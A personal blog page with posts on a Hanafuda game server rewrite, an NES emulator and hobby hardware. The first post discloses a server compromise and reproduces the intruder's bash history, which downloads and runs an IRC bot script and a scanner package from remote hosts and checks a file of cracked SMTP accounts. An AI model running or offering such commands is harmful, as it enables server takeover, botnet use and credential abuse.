hax!

Ok, whomever you are Omni, I would like to let you know that I am sorry for the login attempts, someone in Poland managed to create an account on my server and was using my machine as a slave. I’ve removed their account and subsequently terminated their login. I’m working on figuring out how the got in, and hopefully I will have the problem solved ASAP.

And before you make any accusations please stop to think that maybe, JUST maybe there is some jackass out besides the obvious that is doing things.

Additional information on said person

The IP logs from wtmp

pts/0
pts/0
pts/0
ts/0[username removed]
216.52.176.230
pts/1
pts/0
ts/0[username removed]
bya46.internetdsl.tpnet.pl
pts/0
pts/1
ts/1[username removed]
bya46.internetdsl.tpnet.pl

DNS Info on the first IP

IP address: 216.52.176.230
Reverse DNS: [Unknown]
Reverse DNS authenticity: [Unknown]
ASN: 12179
ASN Name: INTERNAP-2BLK
IP range connectivity: 4
Registrar (per ASN): ARIN
Country (per IP registrar): US [United States]
Country Currency: USD [United States Dollars]
Country IP Range: 216.52.0.0 to 216.53.255.255
Country fraud profile: Normal
City (per outside source): Dallas, Texas
Country (per outside source): US [United States]
Private (internal) IP? No
IP address registrar: whois.arin.net
Known Proxy? No
Link for WHOIS: 216.52.176.230

Their Bash history

wget streetwise.com/~ryan/error
perl error -i jjja -n jjja -c hawtin -s diemen.nl.eu.undernet.org -a defu_
/sbin/ifconfig |grep inet
killall -9 perl
perl error -i jjja -n jjja -c hawtin -s mesa2.az.us.undernet.org -a defu_
passwd
passwd
/sbin/ifconfig
w
w
cd /var/tmp
ls
cd /dev/shm/.a/
ls
vi smtp.txt
rm -rf smtp.txt
vi smtp.txt
ls
vi smtp.txt
cat smtp.txt |grep Cracked
rm -rf smtp.txt
vi smtp.txt
cat smtp.txt |grep Cracked
cat smtp.txt |grep Cracked |sort
rm -rf smtp.txt
wget jedi.kaist.ac.kr/bogus/fb4targz
tar zxvf fb4targz
cd nt
./0-100
cat run
ls
cp nt cash
vi run
cat run
vi run
cat run
rm -rf run
vi run
./0-100 65
chmod 755 run
./0-100 65
cat log
cat log
ps -x
cat log
cat log
w
cat log
killall -9 cash
./0-100 69
cat log
cat log
cat log
cat log
killall -9 cash
./0-100 204
./100-200 205
killall -9 cash
./0-100 204
./100-200 204
killall -9 cash

According to a scanner, PERL/ShellBot was used. it has been disabled

Filed under: Uncategorized

Hanafuda new server is live.

The rewrite is functional. It is stable enough that I managed to play 4-5 hands without fault, and I think that is actually more stable than the previous one. Once all the logins from the previous server are gone, I’m bringing it down forever.

there are BOUND to be issues with the new server, please don’t email me about them. I’m working on getting it stable asap. Consider it’s current state as “beta”.

Hanafuda is go.

Filed under: Hanafuda, Projects

Hanafuda Server - PHP

The translation to PHP is finish. Right now, I’m running a massive debug cycle to make sure that it is functional…. after that comes stress testing. expect the new server code with-in the week.

Filed under: Hanafuda

A change of address.

Ok, anyone who knows me knows my email address has not changed in close to 11 years. Tragically, my father (Who hosted my email account) has sold off his domain name for a considerable sum of money. This means that I now have a new address. Rather than attempting to get ahold of people individually… I’m making a post here so people who want to find me can.

the new address is unicdk at gmail

Easy enough, I suppose.

Also, I would estimate that the hanafuda server rewrite is about 80% complete. One I finish it, I’ll begin a prerelease testing cycle. If all goes well, than it will completely replace the old server. This means no more reboots or firewall problems. Also, I will be able to do “hot patching” the the source code, so I won’t have to kick everyone out to be able to fix bugs.

The average person will see zero change in the game, except for increase delays when players quit the game

Filed under: Hanafuda, Personal

Update.

Well, the hanafuda upgrade didn’t happen, simply because I’ve been too busy to finish working on the new server core. I WILL get around to writing it, but it might take slightly longer than anticipated. Just forwarning, when I get it written, service for the old server will stop, so there might be a day or two of “stress testing” before it goes live where the original server may or may not be online.

I’ve also been playing around with themes for the site. I’m not sure if I’m going to keep this one. I kinda like how simple it looks.

Filed under: Hanafuda

New toy.

Cyclone II Dev KitWell, I ordered this through work, and wasn’t expecting it for at least a few weeks. Hopefully I have some time to play with this. I really want to make an FPGA NES, or PC Engine.

Addendum: The 50mhz oscillator was shot, so I had to send it back.

Filed under: Emulation, Hardware

Woops. Hanafuda.

Sooo….. I accidentally removed hanafuda’s server from my firewall, so the server was running, and functional.. but it wasn’t receiving connections. Sorry about that.

On a side note, I’ve started a complete rewrite of the hanafuda server which will be tunneled though my webserver, rather than an independant socket. this should require a LOT fewer restarts and such. The only downside is that the “player disconnected” notice will take a lot longer to see, the other side is that if you use a wireless connection, or any other ‘unstable’ connection, it won’t just drop you out.

I plan on rolling it out within the week, depending on how long it takes me to debug and such. We’ll see!

Filed under: Games, Hanafuda, Projects

inFami: An update

Well, inFami has slowly progressed into what might be considered a ‘good’ emulator. It’s by no means the best, but it’s up there. I fixed the bugs with all the known mappers, and all the mappers that support extra audio chips have been implemented. I also added MMC5 emulation. Anyone who has ever written an NES emulator will understand the pain that is involved in doing this. The thing is a monster.

Currently, I support 37 of the ~128 iNES mappers. A good number of those will never be implemented, due to being pirate multi-carts. Out of those mappers, only 3 of them are partially implemented. Vertical split is not included in MMC5 (it was only used in an Japanese title ending in SDF that escapes me right now). The Famicom Disk System is supported, ala timing hacks and spoon feeding, it is missing wavetable. Also the VRC7 is missing it’s OPL2 like audio (mostly because I don’t have a good understanding of how the OPL2 works).

I’m probably going to take a break from implementing new mappers, and start working on improving the core timing of the NES. there are numerous little “off by one” errors that are strewn throughout the core… mostly in the PPU. The APU ’sounds’ right, but some of the status bits and stuff don’t fire right. I think the DMC IRQ counter is off too, because Fire Hawk bounces like a toddler.

Filed under: Emulation, Projects

orgplay

This is an older project I created when I was experimenting with realtime synthesis in C#. It plays the soundtrack from Doukutsu Monogatori (Cave Story).

ORGplayer (source)
ORGplayer (binary w/music)

Filed under: Projects, Synth

Hurray for eBay!

Teh HaulI’m not much of a big eBay guy… I’ve had an account since I was 15 and I still have maybe a 20 star approval rating (100% positive)

But this was too much to pass up.

Filed under: Games